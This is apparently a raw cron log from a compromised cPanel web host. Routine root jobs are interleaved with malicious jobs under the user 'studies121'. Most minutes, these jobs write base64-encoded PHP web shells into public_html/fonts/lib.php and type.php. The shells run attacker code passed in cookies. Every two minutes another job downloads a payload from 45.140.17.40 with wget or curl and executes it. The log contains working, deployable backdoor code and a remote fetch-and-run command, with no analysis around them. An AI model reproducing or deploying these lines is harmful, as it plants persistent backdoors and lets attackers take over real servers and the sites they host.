Sep  9 04:59:01 ip-184-168-122-23 CROND[16208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:59:01 ip-184-168-122-23 CROND[16210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:59:01 ip-184-168-122-23 CROND[16209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:59:01 ip-184-168-122-23 CROND[16211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:00:01 ip-184-168-122-23 CROND[16336]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 05:00:01 ip-184-168-122-23 CROND[16338]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:00:01 ip-184-168-122-23 CROND[16341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:00:01 ip-184-168-122-23 CROND[16340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:00:01 ip-184-168-122-23 CROND[16346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:00:01 ip-184-168-122-23 CROND[16348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:00:01 ip-184-168-122-23 CROND[16349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:00:02 ip-184-168-122-23 CROND[16350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:01:01 ip-184-168-122-23 CROND[16514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:01:01 ip-184-168-122-23 CROND[16518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:01:01 ip-184-168-122-23 CROND[16516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:01:01 ip-184-168-122-23 CROND[16519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:01:01 ip-184-168-122-23 CROND[16517]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 05:01:01 ip-184-168-122-23 CROND[16520]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16520]: starting 0anacron
Sep  9 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16534]: finished 0anacron
Sep  9 05:02:01 ip-184-168-122-23 CROND[16677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:02:01 ip-184-168-122-23 CROND[16676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:02:01 ip-184-168-122-23 CROND[16679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:02:01 ip-184-168-122-23 CROND[16678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:02:01 ip-184-168-122-23 CROND[16680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:03:01 ip-184-168-122-23 CROND[16794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:03:01 ip-184-168-122-23 CROND[16796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:03:01 ip-184-168-122-23 CROND[16797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:03:01 ip-184-168-122-23 CROND[16798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:04:01 ip-184-168-122-23 CROND[16951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:04:01 ip-184-168-122-23 CROND[16954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:04:01 ip-184-168-122-23 CROND[16953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:04:01 ip-184-168-122-23 CROND[16955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:04:01 ip-184-168-122-23 CROND[16956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:05:01 ip-184-168-122-23 CROND[17086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:05:01 ip-184-168-122-23 CROND[17085]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:05:01 ip-184-168-122-23 CROND[17088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:05:01 ip-184-168-122-23 CROND[17089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:05:01 ip-184-168-122-23 CROND[17087]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 05:05:01 ip-184-168-122-23 CROND[17093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:05:01 ip-184-168-122-23 CROND[17094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:06:01 ip-184-168-122-23 CROND[17273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:06:01 ip-184-168-122-23 CROND[17275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:06:01 ip-184-168-122-23 CROND[17277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:06:01 ip-184-168-122-23 CROND[17278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:06:01 ip-184-168-122-23 CROND[17279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:07:01 ip-184-168-122-23 CROND[17416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:07:01 ip-184-168-122-23 CROND[17418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:07:01 ip-184-168-122-23 CROND[17419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:07:01 ip-184-168-122-23 CROND[17420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:08:01 ip-184-168-122-23 CROND[17522]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:08:01 ip-184-168-122-23 CROND[17524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:08:01 ip-184-168-122-23 CROND[17527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:08:01 ip-184-168-122-23 CROND[17528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:08:01 ip-184-168-122-23 CROND[17526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:09:01 ip-184-168-122-23 CROND[17624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:09:01 ip-184-168-122-23 CROND[17626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:09:01 ip-184-168-122-23 CROND[17627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:09:01 ip-184-168-122-23 CROND[17629]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 05:09:01 ip-184-168-122-23 CROND[17628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:10:01 ip-184-168-122-23 CROND[17732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:10:01 ip-184-168-122-23 CROND[17734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:10:01 ip-184-168-122-23 CROND[17735]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:10:01 ip-184-168-122-23 CROND[17736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:10:01 ip-184-168-122-23 CROND[17737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:10:01 ip-184-168-122-23 CROND[17738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:10:01 ip-184-168-122-23 CROND[17740]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 05:10:01 ip-184-168-122-23 CROND[17739]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
